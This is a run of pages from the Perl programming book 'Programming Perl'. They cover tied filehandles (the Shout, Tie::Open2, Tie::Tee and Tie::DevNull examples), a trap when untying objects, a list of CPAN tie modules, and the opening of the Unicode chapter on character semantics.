print while <REV>;
This prints:
The quick brown fox jumps
over the lazy dog.
The quick brown fox jumps over
over the lazy dog 3179357 times!
The fox is now dead.--MORE--

14.4.1. Filehandle-Tying Methods

For our extended example, we'll create a filehandle that uppercases strings printed to it. Just for kicks, we'll begin the file with <SHOUT> when it's opened and end with </SHOUT> when it's closed. That way we can rant in well-formed XML.

Here's the top of our Shout.pm file that will implement the class:

package Shout;
use Carp;                # So we can croak our errors
We'll now list the method definitions in Shout.pm.

CLASSNAME->TIEHANDLE(LIST)

This is the constructor for the class, which as usual should return a blessed reference.

sub TIEHANDLE {
    my $class = shift;
    my $form = shift;
    open my $self, $form, @_   or croak "can't open $form@_: $!";
    if ($form =~ />/) {
        print $self  "<SHOUT>\n";
        $$self->{WRITING} = 1;     # Remember to do end tag
    }
    return bless $self, $class;    # $self is a glob ref
}
Here, we open a new filehandle according to the mode and filename passed to the tie operator, write <SHOUT> to the file, and return a blessed reference to it. There's a lot of stuff going on in that open statement, but we'll just point out that, in addition to the usual "open or die" idiom, the my $self furnishes an undefined scalar to open, which knows to autovivify it into a typeglob. The fact that it's a typeglob is also significant, because not only does the typeglob contain the real I/O object of the file, but it also contains various other handy data structures that come along for free, like a scalar ($$$self), an array (@$$self), and a hash (%$$self). (We won't mention the subroutine, &$$self.)

The $form is the filename-or-mode argument. If it's a filename, @_ is empty, so it behaves as a two-argument open. Otherwise, $form is the mode for the rest of the arguments.

After the open, we test to see whether we should write the beginning tag. If so, we do. And right away, we use one of those glob data structures we mentioned. That $$self->{WRITING} is an example of using the glob to store interesting information. In this case, we remember whether we did the beginning tag so we know whether to do the corresponding end tag. We're using the %$$self hash, so we can give the field a decent name. We could have used the scalar as $$$self, but that wouldn't be self-documenting. (Or it would only be self-documenting, depending on how you look at it.)

SELF->PRINT(LIST)

This method implements a print to the tied handle. The LIST is whatever was passed to print. Our method below uppercases each element of LIST:

sub PRINT {
    my $self = shift;
    print $self map {uc} @_;
}

SELF->READLINE

This method supplies the data when the filehandle is read from via the angle operator (<FH>) or readline. The method should return undef when there is no more data.

sub READLINE {
    my $self = shift;
    return <$self>;
}
Here, we simply return <$self> so that the method will behave appropriately depending on whether it was called in scalar or list context.

SELF->GETC

This method runs whenever getc is used on the tied filehandle.

sub GETC {
    my $self = shift;
    return getc($self);
}
Like several of the methods in our Shout class, the GETC method simply calls its corresponding Perl built-in and returns the result.

SELF->OPEN(LIST)

Our TIEHANDLE method itself opens a file, but a program using the Shout class that calls open afterward triggers this method.

sub OPEN {
    my $self = shift;
    my $form = shift;
    my $name = "$form@_";
    $self->CLOSE;
    open($self, $form, @_)      or croak "can't reopen $name: $!";
    if ($form =~ />/) {
        print $self "<SHOUT>\n" or croak "can't start print: $!";
        $$self->{WRITING} = 1;     # Remember to do end tag
    }
    else {
        $$self->{WRITING} = 0;     # Remember not to do end tag
    }
    return 1;
}
We invoke our own CLOSE method to explicitly close the file in case the user didn't bother to. Then we open a new file with whatever filename was specified in the open and shout at it.

SELF->CLOSE

This method deals with the request to close the handle. Here, we seek to the end of the file and, if that was successful, print </SHOUT> before using Perl's built-in close.

sub CLOSE {
    my $self = shift;
    if ($$self->{WRITING}) {
        $self->SEEK(0, 2)             or return;
        $self->PRINT("</SHOUT>\n")    or return;
    }
    return close $self;
}

SELF->SEEK(LIST)

When you seek on a tied filehandle, the SEEK method gets called.

sub SEEK {
    my $self = shift;
    my ($offset, $whence) = @_;
    return seek($self, $offset, $whence);
}

SELF->TELL

This method is invoked when tell is used on the tied handle.

sub TELL {
    my $self = shift;
    return tell $self;
}

SELF->PRINTF(LIST)

This method is run whenever printf is used on the tied handle. The LIST will contain the format and the items to be printed.

sub PRINTF {
    my $self = shift;
    my $template = shift;
    return $self->PRINT(sprintf $template, @_);
}
Here, we use sprintf to generate the formatted string and pass it to PRINT for uppercasing. There's nothing that requires you to use the built-in sprintf function though. You could interpret the percent escapes to suit your own purpose.

SELF->READ(LIST)

This method responds when the handle is read using read or sysread. Note that we modify the first argument of LIST "in-place", mimicking read's ability to fill in the scalar passed in as its second argument.

sub READ {
    my ($self, undef, $length, $offset) = @_;
    my $bufref = \$_[1];
    return read($self, $$bufref, $length, $offset);
}

SELF->WRITE(LIST)

This method gets invoked when the handle is written to with syswrite. Here, we uppercase the string to be written.

sub WRITE {
    my $self = shift;
    my $string = uc(shift);
    my $length = shift || length $string;
    my $offset = shift || 0;
    return syswrite $self, $string, $length, $offset;
}

SELF->EOF

This method returns a Boolean value when a filehandle tied to the Shout class is tested for its end-of-file status using eof.

sub EOF {
    my $self = shift;
    return eof $self;
}

SELF->BINMODE(DISC)

This method specifies the I/O discipline to be used on the filehandle. If none is specified, it puts the tied filehandle into binary mode (the :raw discipline), for filesystems that distinguish between text and binary files.

sub BINMODE {
    my $self = shift;
    my $disc = shift || ":raw";
    return binmode $self, $disc;
}
That's how you'd write it, but it's actually useless in our case because the open already wrote on the handle. So in our case we should probably make it say:
sub BINMODE { croak("Too late to use binmode") }

SELF->FILENO

This method should return the file descriptor (fileno) associated with the tied filehandle by the operating system.

sub FILENO {
    my $self = shift;
    return fileno $self;
}

SELF->DESTROY

As with the other types of ties, this method is triggered when the tied object is about to be destroyed. This is useful for letting the object clean up after itself. Here, we make sure that the file is closed, in case the program forgot to call close. We could just say close $self, but it's better to invoke the CLOSE method of the class. That way if the designer of the class decides to change how files are closed, this DESTROY method won't have to be modified.

sub DESTROY {
    my $self = shift;
    $self->CLOSE;      # Close the file using Shout's CLOSE method.
}

Here's a demonstration of our Shout class:

#!/usr/bin/perl
use Shout;
tie(*FOO, Shout::, ">filename");
print FOO "hello\n";            # Prints HELLO.
seek FOO, 0, 0;                 # Rewind to beginning.
@lines = <FOO>;                 # Calls the READLINE method.
close FOO;                      # Close file explicitly.
open(FOO, "+<", "filename");    # Reopen FOO, calling OPEN.
seek(FOO, 8, 0);                # Skip the "<SHOUT>\n".
sysread(FOO, $inbuf, 5);        # Read 5 bytes from FOO into $inbuf.
print "found $inbuf\n";         # Should print "hello".
seek(FOO, -5, 1);               # Back up over the "hello".
syswrite(FOO, "ciao!\n", 6);    # Write 6 bytes into FOO.
untie(*FOO);                    # Calls the CLOSE method implicitly.
After running this, the file contains:
<SHOUT>
CIAO!
</SHOUT>
Here are some more strange and wonderful things to do with that internal glob. We use the same hash as before, but with new keys PATHNAME and DEBUG. First we install a stringify overloading so that printing one of our objects reveals the pathname (see Chapter 13, "Overloading"):
# This is just so totally cool!
use overload q("") => sub { $_[0]->pathname };

# This is the stub to put in each function you want to trace.
sub trace {
    my $self = shift;
    local $Carp::CarpLevel = 1;
    Carp::cluck("\ntrace magical method") if $self->debug;
}

# Overload handler to print out our path.
sub pathname {
    my $self = shift;
    confess "i am not a class method" unless ref $self;
    $$self->{PATHNAME} = shift if @_;
    return $$self->{PATHNAME};
}
# Dual moded.
sub debug {
    my $self = shift;
    my $var = ref $self ? \$$self->{DEBUG} : \our $Debug;
    $$var = shift if @_;
    return ref $self ? $$self->{DEBUG} || $Debug : $Debug;
}
And then call trace on entry to all your ordinary methods like this:
sub GETC { $_[0]->trace;           # NEW
    my($self) = @_;
    getc($self);
}
And also set the pathname in TIEHANDLE and OPEN:
sub TIEHANDLE {
    my $class    = shift;
    my $form = shift;
    my $name = "$form@_";          # NEW
    open my $self, $form, @_   or croak "can't open $name: $!";
    if ($form =~ />/) {
        print $self  "<SHOUT>\n";
        $$self->{WRITING} = 1;     # Remember to do end tag
    }
    bless $self, $class;           # $fh is a glob ref
    $self->pathname($name);        # NEW
    return $self;
}

sub OPEN { $_[0]->trace;           # NEW
    my $self = shift;
    my $form = shift;
    my $name = "$form@_";
    $self->CLOSE;
    open($self, $form, @_)      or croak "can't reopen $name: $!";
    $self->pathname($name);        # NEW
    if ($form =~ />/) {
        print $self "<SHOUT>\n" or croak "can't start print: $!";
        $$self->{WRITING} = 1;     # Remember to do end tag
    }
    else {
        $$self->{WRITING} = 0;     # Remember not to do end tag
    }
    return 1;
}
Somewhere you also have to call $self->debug(1) to turn debugging on. When you do that, all your Carp::cluck calls will produce meaningful messages. Here's one that we get while doing the reopen above. It shows us three deep in method calls, as we're closing down the old file in preparation for opening the new one:
trace magical method at foo line 87
    Shout::SEEK('>filename', '>filename', 0, 2) called at foo line 81
    Shout::CLOSE('>filename') called at foo line 65
    Shout::OPEN('>filename', '+<', 'filename') called at foo line 141

14.4.2. Creative Filehandles

You can tie the same filehandle to both the input and the output of a two-ended pipe. Suppose you wanted to run the bc(1) (arbitrary precision calculator) program this way:

use Tie::Open2;

tie *CALC, 'Tie::Open2', "bc -l";
$sum = 2;
for (1 .. 7) {
    print CALC "$sum * $sum\n";
    $sum = <CALC>;
    print "$_: $sum";
    chomp $sum;
}
close CALC;
One would expect it to print this:
1: 4
2: 16
3: 256
4: 65536
5: 4294967296
6: 18446744073709551616
7: 340282366920938463463374607431768211456
One's expectations would be correct if one had the bc(1) program on one's computer, and one also had Tie::Open2 defined as follows. This time we'll use a blessed array for our internal object. It contains our two actual filehandles for reading and writing. (The dirty work of opening a double-ended pipe is done by IPC::Open2; we're just doing the fun part.)
package Tie::Open2;
use strict;
use Carp;
use Tie::Handle;  # do not inherit from this!
use IPC::Open2;

sub TIEHANDLE {
    my ($class, @cmd) = @_;
    no warnings 'once';
    my @fhpair = \do { local(*RDR, *WTR) };
    bless $_, 'Tie::StdHandle' for @fhpair;
    bless(\@fhpair => $class)->OPEN(@cmd) || die;
    return \@fhpair;
}

sub OPEN {
    my ($self, @cmd) = @_;
    $self->CLOSE if grep {defined} @{ $self->FILENO };
    open2(@$self, @cmd);
}

sub FILENO {
    my $self = shift;
    [ map { fileno $self->[$_] } 0,1 ];
}

for my $outmeth ( qw(PRINT PRINTF WRITE) ) {
    no strict 'refs';
    *$outmeth = sub {
        my $self = shift;
        $self->[1]->$outmeth(@_);
    };
}
for my $inmeth ( qw(READ READLINE GETC) ) {
    no strict 'refs';
    *$inmeth = sub {
        my $self = shift;
        $self->[0]->$inmeth(@_);
    };
}
for my $doppelmeth ( qw(BINMODE CLOSE EOF)) {
    no strict 'refs';
    *$doppelmeth = sub {
        my $self = shift;
        $self->[0]->$doppelmeth(@_) && $self->[1]->$doppelmeth(@_);
    };
}
for my $deadmeth ( qw(SEEK TELL)) {
    no strict 'refs';
    *$deadmeth = sub {
        croak("can't $deadmeth a pipe");
    };
}
1;
The final four loops are just incredibly snazzy, in our opinion. For an explanation of what's going on, look back at the section Section 14.3.7.1, "Closures as function templates" in Chapter 8, "References".

Here's an even wackier set of classes. The package names should give you a clue as to what they do.

use strict;
package Tie::DevNull;

    sub TIEHANDLE {
        my $class = shift;
        my $fh = local *FH;
        bless \$fh, $class;
    }
    for (qw(READ READLINE GETC PRINT PRINTF WRITE)) {
        no strict 'refs';
        *$_  = sub { return };
    }

package Tie::DevRandom;

    sub READLINE { rand() . "\n"; }
    sub TIEHANDLE {
        my $class = shift;
        my $fh = local *FH;
        bless \$fh, $class;
    }

    sub FETCH { rand() }
    sub TIESCALAR {
        my $class = shift;
        bless \my $self, $class;
    }

package Tie::Tee;

    sub TIEHANDLE {
        my $class = shift;
        my @handles;
        for my $path (@_) {
            open(my $fh, ">$path") || die "can't write $path";
            push @handles, $fh;
        }
        bless \@handles, $class;
    }

    sub PRINT {
        my $self = shift;
        my $ok = 0;
        for my $fh (@$self) {
            $ok += print $fh @_;
        }
        return $ok == @$self;
    }
The Tie::Tee class emulates the standard Unix tee(1) program, which sends one stream of output to multiple different destinations. The Tie::DevNull class emulates the null device, /dev/null on Unix systems. And the Tie::DevRandom class produces random numbers either as a handle or as a scalar, depending on whether you call TIEHANDLE or TIESCALAR! Here's how you call them:
package main;

tie *SCATTER,   "Tie::Tee", qw(tmp1 - tmp2 >tmp3 tmp4);
tie *RANDOM,    "Tie::DevRandom";
tie *NULL,      "Tie::DevNull";
tie my $randy,  "Tie::DevRandom";

for my $i (1..10) {
    my $line = <RANDOM>;
    chomp $line;
    for my $fh (*NULL, *SCATTER) {
        print $fh "$i: $line $randy\n";
    }
}
This produces something like the following on your screen:
1: 0.124115571686165 0.20872819474074
2: 0.156618299751194 0.678171662366353
3: 0.799749050426126 0.300184963960792
4: 0.599474551447884 0.213935286029916
5: 0.700232143543861 0.800773751296671
6: 0.201203608274334 0.0654303290639575
7: 0.605381294683365 0.718162304090487
8: 0.452976481105495 0.574026269121667
9: 0.736819876983848 0.391737610662044
10: 0.518606540417331 0.381805078272308
But that's not all! It wrote to your screen because of the - in the *SCATTERtie above. But that line also told it to create files tmp1, tmp2, and tmp4, as well as to append to file tmp3. (We also wrote to the *NULL filehandle in the loop, though of course that didn't show up anywhere interesting, unless you're interested in black holes.)

Previous | Home | Next
14.3. Tying Hashes | Book Index | 14.5. A Subtle Untying Trap
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Subtle Untying Trap (Programming Perl)

 Book Home Programming PerlSearch this book

14.5. A Subtle Untying Trap

If you intend to make use of the object returned from tie or tied, and the class defines a destructor, there is a subtle trap you must guard against. Consider this (admittedly contrived) example of a class that uses a file to log all values assigned to a scalar:

package Remember;

sub TIESCALAR {
    my $class = shift;
    my $filename = shift;
    open(my $handle, ">", $filename)
         or die "Cannot open $filename: $!\n";
    print $handle "The Start\n";
    bless {FH => $handle, VALUE => 0}, $class;
}

sub FETCH {
    my $self = shift;
    return $self->{VALUE};
}

sub STORE {
    my $self = shift;
    my $value = shift;
    my $handle = $self->{FH};
    print $handle "$value\n";
    $self->{VALUE} = $value;
}

sub DESTROY {
    my $self = shift;
    my $handle = $self->{FH};
    print $handle "The End\n";
    close $handle;
}

1;
Here is an example that makes use of our Remember class:
use strict;
use Remember;

my $fred;
$x = tie $fred, "Remember", "camel.log";
$fred = 1;
$fred = 4;
$fred = 5;
untie $fred;
system "cat camel.log";
This is the output when it is executed:
The Start
1
4
5
The End
So far, so good. Let's add an extra method to the Remember class that allows comments in the file--say, something like this:
sub comment {
    my $self = shift;
    my $message = shift;
    print { $self->{FH} } $handle $message, "\n";
}
And here is the previous example, modified to use the comment method:
use strict;
use Remember;

my ($fred, $x);
$x = tie $fred, "Remember", "camel.log";
$fred = 1;
$fred = 4;
comment $x "changing...";
$fred = 5;
untie $fred;
system "cat camel.log";
Now the file will be empty, which probably wasn't what you intended. Here's why. Tying a variable associates it with the object returned by the constructor. This object normally has only one reference: the one hidden behind the tied variable itself. Calling "untie" breaks the association and eliminates that reference. Since there are no remaining references to the object, the DESTROY method is triggered.

However, in the example above we stored a second reference to the object tied to $x. That means that after the untie there will still be a valid reference to the object. DESTROY won't get triggered, and the file won't get flushed and closed. That's why there was no output: the filehandle's buffer was still in memory. It won't hit the disk until the program exits.

To detect this, you could use the -w command-line flag, or include the use warnings "untie" pragma in the current lexical scope. Either technique would identify a call to untie while there were still references to the tied object remaining. If so, Perl prints this warning:

untie attempted while 1 inner references still exist
To get the program to work properly and silence the warning, eliminate any extra references to the tied object before calling untie. You can do that explicitly:
undef $x;
untie $fred;
Often though you can solve the problem simply by making sure your variables go out of scope at the appropriate time.

Previous | Home | Next
14.4. Tying Filehandles | Book Index | 14.6. Tie Modules on CPAN
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Tie Modules on CPAN (Programming Perl)

 Programming PerlSearch this book

14.6. Tie Modules on CPAN

Before you get all inspired to write your own tie module, you should check to see if someone's already done it. There are lots of tie modules on CPAN, with more every day. (Well, every month, anyway.) Table 14-1 lists some of them.

Table 14.1. Tie Modules on CPAN

Module | Description
GnuPG::Tie::Encrypt | Ties a filehandle interface to encryption with the GNU Privacy Guard.
IO::WrapTie | Wraps tied objects in an IO::Handle interface.
MLDBM | Transparently stores complex data values, not just flat strings, in a DBM file.
Net::NISplusTied | Ties hashes to NIS+ tables.
Tie::Cache::LRU | Implements a least-recently used cache.
Tie::Const | Provides constant scalars and hashes.
Tie::Counter | Enchants a scalar variable to increment upon each access.
Tie::CPHash | Implements a case-preserving but case-insensitive hash.
Tie::DB_FileLock | Provides locking access to Berkeley DB 1.x.
Tie::DBI | Ties hashes to DBI relational databases.
Tie::DB_Lock | Ties hashes to databases using shared and exclusive locks.
Tie::Dict | Ties a hash to an RPC dict server.
Tie::Dir | Ties a hash for reading directories.
Tie::DirHandle | Ties directory handles.
Tie::FileLRUCache | Implements a lightweight, filesystem-based, persistent LRU cache.
Tie::FlipFlop | Implements a tie that alternates between two values.
Tie::HashDefaults | Lets a hash have default values.
Tie::HashHistory | Tracks history of all changes to a hash.
Tie::IxHash | Provides ordered associative arrays for Perl.
Tie::LDAP | Implements an interface to an LDAP database.
Tie::Persistent | Provides persistent data structures via tie.
Tie::Pick | Randomly picks (and removes) an element from a set.
Tie::RDBM | Ties hashes to relational databases.
Tie::SecureHash | Supports namespace-based encapsulation.
Tie::STDERR | Sends output of your STDERR to another process such as a mailer.
Tie::Syslog | Ties a filehandle to automatically syslog its output.
Tie::TextDir | Ties a directory of files.
Tie::TransactHash | Edits a hash in transactions without changing the order during the transaction.
Tie::VecArray | Provides an array interface to a bit vector.
Tie::Watch | Places watch points on Perl variables.
Win32::TieRegistry | Provides powerful and easy ways to manipulate a Microsoft Windows registry.
Previous | Home | Next
14.5. A Subtle Untying Trap | Book Index | Part 3. Perl as Technology
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Unicode (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 15. Unicode

Contents:

Building Character
Effects of Character Semantics
Caution, [image] Working

If you do not yet know what Unicode is, you will soon--even if you skip reading this chapter--because working with Unicode is becoming a necessity. (Some people think of it as a necessary evil, but it's really more of a necessary good. In either case, it's a necessary pain.)

Historically, people made up character sets to reflect what they needed to do in the context of their own culture. Since people of all cultures are naturally lazy, they've tended to include only the symbols they needed, excluding the ones they didn't need. That worked fine as long as we were only communicating with other people of our own culture, but now that we're starting to use the Internet for cross-cultural communication, we're running into problems with the exclusive approach. It's hard enough to figure out how to type accented characters on an American keyboard. How in the world (literally) can one write a multilingual web page?

Unicode is the answer, or at least part of the answer (see also XML). Unicode is an inclusive rather than an exclusive character set. While people can and do haggle over the various details of Unicode (and there are plenty of details to haggle over), the overall intent is to make everyone sufficiently happy[1] with Unicode so that they'll willingly use Unicode as the international medium of exchange for textual data. Nobody is forcing you to use Unicode, just as nobody is forcing you to read this chapter (we hope). People will always be allowed to use their old exclusive character sets within their own culture. But in that case (as we say), portability suffers.

[1] Or in some cases, insufficiently unhappy.

The Law of Conservation of Suffering says that if we reduce the suffering in one place, suffering must increase elsewhere. In the case of Unicode, we must suffer the migration from byte semantics to character semantics. Since, through an accident of history, Perl was invented by an American, Perl has historically confused the notions of bytes and characters. In migrating to Unicode, Perl must somehow unconfuse them.

Paradoxically, by getting Perl itself to unconfuse bytes and characters, we can allow the Perl programmer to confuse them, relying on Perl to keep them straight, just as we allow programmers to confuse numbers and strings and rely on Perl to convert back and forth as necessary. To the extent possible, Perl's approach to Unicode is the same as its approach to everything else: Just Do The Right Thing. Ideally, we'd like to achieve these four Goals:

Goal #1:

Old byte-oriented programs should not spontaneously break on the old byte-oriented data they used to work on.

Goal #2:

Old byte-oriented programs should magically start working on the new character-oriented data when appropriate.

Goal #3:

Programs should run just as fast in the new character-oriented mode as in the old byte-oriented mode.

Goal #4:

Perl should remain one language, rather than forking into a byte-oriented Perl and a character-oriented Perl.

Taken together, these Goals are practically impossible to reach. But we've come remarkably close. Or rather, we're still in the process of coming remarkably close, since this is a work in progress. As Unicode continues to evolve, so will Perl. But our overarching plan is to provide a safe migration path that gets us where we want to go with minimal casualties along the way. How we do that is the subject of the next section.

15.1. Building Character

In releases of Perl prior to 5.6, all strings were viewed as sequences of bytes.[2] In versions 5.6 and later, however, a string may contain characters wider than a byte. We now view strings not as sequences of bytes, but as sequences of numbers in the range 0 .. 2**32-1 (or in the case of 64-bit computers, 0 .. 2**64-1). These numbers represent abstract characters, and the larger the number, the "wider" the character, in some sense; but unlike many languages, Perl is not tied to any particular width of character representation. Perl uses a variable-length encoding (based on UTF-8), so these abstract character numbers may, or may not, be packed one number per byte. Obviously, character number 18,446,744,073,709,551,615 (that is, "\x{ffff_ffff_ffff_ffff}") is never going to fit into a byte (in fact, it takes 13 bytes), but if all the characters in your string are in the range 0..127 decimal, then they are certainly packed one per byte, since UTF-8 is the same as ASCII in the lowest seven bits.

[2] You may prefer to call them "octets"; that's okay, but we think the two words are pretty much synonymous these days, so we'll stick with the blue-collar word.

Perl uses UTF-8 only when it thinks it is beneficial, so if all the characters in your string are in the range 0..255, there's a good chance the characters are all packed in bytes--but in the absence of other knowledge, you can't be sure because internally Perl converts between fixed 8-bit characters and variable-length UTF-8 characters as necessary. The point is, you shouldn't have to worry about it most of the time, because the character semantics are preserved at an abstract level regardless of representation.

In any event, if your string contains any character numbers larger than 255 decimal, the string is certainly stored in UTF-8. More accurately, it is stored in Perl's extended version of UTF-8, which we call utf8, in honor of a pragma by that name, but mostly because it's easier to type. (And because "real" UTF-8 is only allowed to contain character numbers blessed by the Unicode Consortium. Perl's utf8 is allowed to contain any character numbers you need to get your job done. Perl doesn't give a rip whether your character numbers are officially correct or just correct.)

We said you shouldn't worry about it most of the time, but people like to worry anyway. Suppose you use a v-string to represent an IPv4 address:

$locaddr = v127.0.0.1;     # Certainly stored as bytes.
$oreilly = v204.148.40.9;  # Might be stored as bytes or utf8.
$badaddr = v2004.148.40.9; # Certainly stored as utf8.
Everyone can figure out that $badaddr will not work as an IP address. So it's easy to think that if O'Reilly's network address gets forced into a UTF-8 representation, it will no longer work. But the characters in the string are abstract numbers, not bytes. Anything that uses an IPv4 address, such as the gethostbyaddr function, should automatically coerce the abstract character numbers back into a byte representation (and fail on $badaddr).

The interfaces between Perl and the real world have to deal with the details of the representation. To the extent possible, existing interfaces try to do the right thing without your having to tell them what to do. But you do occasionally have to give instructions to some interfaces (such as the open function), and if you write your own interface to the real world, it will need to be either smart enough to figure things out for itself or at least smart enough to follow instructions when you want it to behave differently than it would by default.[3]

[3] On some systems, there may be ways of switching all your interfaces at once. If the -C command-line switch is used, (or the global ${^WIDE_SYSTEM_CALLS} variable is set to 1), all system calls will use the corresponding wide character APIs. (This is currently only implemented on Microsoft Windows.) The current plan of the Linux community is that all interfaces will switch to UTF-8 mode if $ENV{LC_CTYPE} is set to "UTF-8". Other communities may take other approaches. Our mileage may vary.

Since Perl worries about maintaining transparent character semantics within the language itself, the only place you need to worry about byte versus character semantics is in your interfaces. By default, all your old Perl interfaces to the outside world are byte-oriented, so they produce and consume byte-oriented data. That is to say, on the abstract level, all your strings are sequences of numbers in the range 0..255, so if nothing in the program forces them into utf8 representations, your old program continues to work on byte-oriented data just as it did before. So put a check mark by Goal #1 above.

If you want your old program to work on new character-oriented data, you must mark your character-oriented interfaces such that Perl knows to expect character-oriented data from those interfaces. Once you've done this, Perl should automatically do any conversions necessary to preserve the character abstraction. The only difference is that you've introduced some strings into your program that are marked as potentially containing characters higher than 255, so if you perform an operation between a byte string and utf8 string, Perl will internally coerce the byte string into a utf8 string before performing the operation. Typically, utf8 strings are coerced back to byte strings only when you send them to a byte interface, at which point, if the string contains characters larger than 255, you have a problem that can be handled in various ways depending on the interface in question. So you can put a check mark by Goal #2.

Sometimes you want to mix code that understands character semantics with code that has to run with byte semantics, such as I/O code that reads or writes fixed-size blocks. In this case, you may put a use bytes declaration around the byte-oriented code to force it to use byte semantics even on strings marked as utf8 strings. You are then responsible for any necessary conversions. But it's a way of enforcing a stricter local reading of Goal #1, at the expense of a looser global reading of Goal #2.

Goal #3 has largely been achieved, partly by doing lazy conversions between byte and utf8 representations and partly by being sneaky in how we implement potentially slow features of Unicode, such as character property lookups in huge tables.

Goal #4 has been achieved by sacrificing a small amount of interface compatibility in pursuit of the other Goals. By one way of looking at it, we didn't fork into two different Perls; but by another way of looking at it, revision 5.6 of Perl is a forked version of Perl with regard to earlier versions, and we don't expect people to switch from earlier versions until they're sure the new version will do what they want. But that's always the case with new versions, so we'll allow ourselves to put a check mark by Goal #4 as well.

Previous | Home | Next
Part 3. Perl as Technology | Book Index | 15.2. Effects of Character Semantics
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Effects of Character Semantics (Programming Perl)

 Book Home Programming PerlSearch this book

15.2. Effects of Character Semantics

The upshot of all this is that a typical built-in operator will operate on characters unless it is in the scope of a use bytes pragma. However, even outside the scope of use bytes, if all of the operands of the operator are stored as 8-bit characters (that is, none of the operands are stored in utf8), then character semantics are indistinguishable from byte semantics, and the result of the operator will be stored in 8-bit form internally. This preserves backward compatibility as long as you don't feed your program any characters wider than Latin-1.

The utf8 pragma is primarily a compatibility device that enables recognition of UTF-8 in literals and identifiers encountered by the parser. It may also be used for enabling some of the more experimental Unicode support features. Our long-term goal is to turn the utf8 pragma into a no-op.

The use bytes pragma will never turn into a no-op. Not only is it necessary for byte-oriented code, but it also has the side effect of defining byte-oriented wrappers around certain functions for use outside the scope of use bytes. As of this writing, the only defined wrapper is for length, but there are likely to be more as time goes by. To use such a wrapper, say:

use bytes ();   # Load wrappers without importing byte semantics.
...
$charlen =        length("\x{ffff_ffff}");   # Returns 1.
$bytelen = bytes::length("\x{ffff_ffff}");   # Returns 7.
Outside the scope of a use bytes declaration, Perl version 5.6 works (or at least, is intended to work) like this:

  • Strings and patterns may now contain characters that have an ordinal value larger than 255:

    use utf8;
$convergence = "     ";
    Presuming you have a Unicode-capable editor to edit your program, such characters will typically occur directly within the literal strings as UTF-8 characters. For now, you have to declare a use utf8 at the top of your program to enable the use of UTF-8 in literals.

    If you don't have a Unicode editor, you can always specify a particular character in ASCII with an extension of the \x notation. A character in the Latin-1 range may be written either as \x{ab} or as \xab, but if the number exceeds two hexidecimal digits, you must use braces. Unicode characters are specified by putting the hexadecimal code within braces after the \x. For instance, a Unicode smiley face is \x{263A}. There is no syntactic construct in Perl that assumes Unicode characters are exactly 16 bits, so you may not use \u263A as you can in other languages; \x{263A} is the closest equivalent.

    For inserting named characters via \N{CHARNAME}, see the use charnames pragma in Chapter 31, "Pragmatic Modules".

  • Identifiers within the Perl script may contain Unicode alphanumeric characters, including ideographs:

    use utf8;
$   ++;        # A child is born.
    Again, use utf8 is needed (for now) to recognize UTF-8 in your script. You are currently on your own when it comes to using the canonical forms of characters--Perl doesn't (yet) attempt to canonicalize variable names for you. We recommend that you canonicalize your programs to Normalization Form C, since that's what Perl will someday canonicalize to by default. See www.unicode.org for the latest technical report on canonicalization.

  • Regular expressions match characters instead of bytes. For instance, dot matches a character instead of a byte. If the Unicode Consortium ever gets around to approving the Tengwar script, then (despite the fact that such characters are represented in four bytes of UTF-8), this matches:

    "\N{TENGWAR LETTER SILME NUQUERNA}" =~ /^.$/
    The \C pattern is provided to force a match on a single byte ("char" in C, hence \C). Use \C with care, since it can put you out of sync with the character boundaries in your string, and you may get "Malformed UTF-8 character" errors. You may not use \C in square brackets, since it doesn't represent any particular character or set of characters.

  • Character classes in regular expressions match characters instead of bytes and match against the character properties specified in the Unicode properties database. So \w can be used to match an ideograph:

    "   " =~ /\w/

  • Named Unicode properties and block ranges can be used as character classes via the new \p (matches property) and \P (doesn't match property) constructs. For instance, \p{Lu} matches any character with the Unicode uppercase property, while \p{M} matches any mark character. Single-letter properties may omit the brackets, so mark characters can be matched by \pM also. Many predefined character classes are available, such as \p{IsMirrored} and \p{InTibetan}:

    "\N{greek:Iota}" =~ /\p{Lu}/
    You may also use \p and \P within square bracket character classes. (In version 5.6.0 of Perl, you need to use utf8 for character properties to work right. This restriction will be lifted in the future.) See Chapter 5, "Pattern Matching", for details of matching on Unicode properties.

  • The special pattern \X matches any extended Unicode sequence (a "combining character sequence" in Standardese), where the first character is a base character and subsequent characters are mark characters that apply to the base character. It is equivalent to (?:\PM\pM*):

    "o\N{COMBINING TILDE BELOW}" =~ /\X/
    You may not use \X in square brackets, because it might match multiple characters and it doesn't match any particular character or set of characters.

  • The tr/// operator transliterates characters instead of bytes. To turn all characters outside the Latin-1 range into a question mark, you could say:

    tr/\0-\x{10ffff}/\0-\xff?/;       # utf8 to latin1 char

  • Case translation operators use the Unicode case translation tables when provided character input. Note that uc translates to uppercase, while ucfirst translates to titlecase (for languages that make the distinction). Naturally the corresponding backslash sequences have the same semantics:

    $x = "\u$word";       # titlecase first letter of $word
$x = "\U$word";       # uppercase $word
$x = "\l$word";       # lowercase first letter of $word
$x = "\L$word";       # lowercase $word
    Be careful, because the Unicode case translation tables don't attempt to provide round-trip mappings in every instance, particularly for languages that use different numbers of characters for titlecase or uppercase than they do for the equivalent lowercase letter. As they say in the standard, while the case properties themselves are normative, the case mappings are only informational.

  • Most operators that deal with positions or lengths in the string will automatically switch to using character positions, including chop, substr, pos, index, rindex, sprintf, write, and length. Operators that deliberately don't switch include vec, pack, and unpack. Operators that really don't care include chomp, as well as any other operator that treats a string as a bucket of bits, such as the default sort and the operators dealing with filenames.

    use bytes;
$bytelen = length("I do            .");   # 15 bytes
no bytes;
$charlen = length("I do          .");   # but 9 characters

  • The pack/unpack letters "c" and "C" do not change, since they're often used for byte-oriented formats. (Again, think "char" in the C language.) However, there is a new "U" specifier that will convert between UTF-8 characters and integers:

    pack("U*", 1, 20, 300, 4000) eq v1.20.300.4000

  • The chr and ord functions work on characters:

    chr(1).chr(20).chr(300).chr(4000) eq v1.20.300.4000
    In other words, chr and ord are like pack("U") and unpack("U"), not like pack("C") and unpack("C"). In fact, the latter two are how you now emulate byte-oriented chr and ord if you're too lazy to use bytes.

  • And finally, scalar reverse reverses by character rather than by byte:

    "     " eq reverse "     "

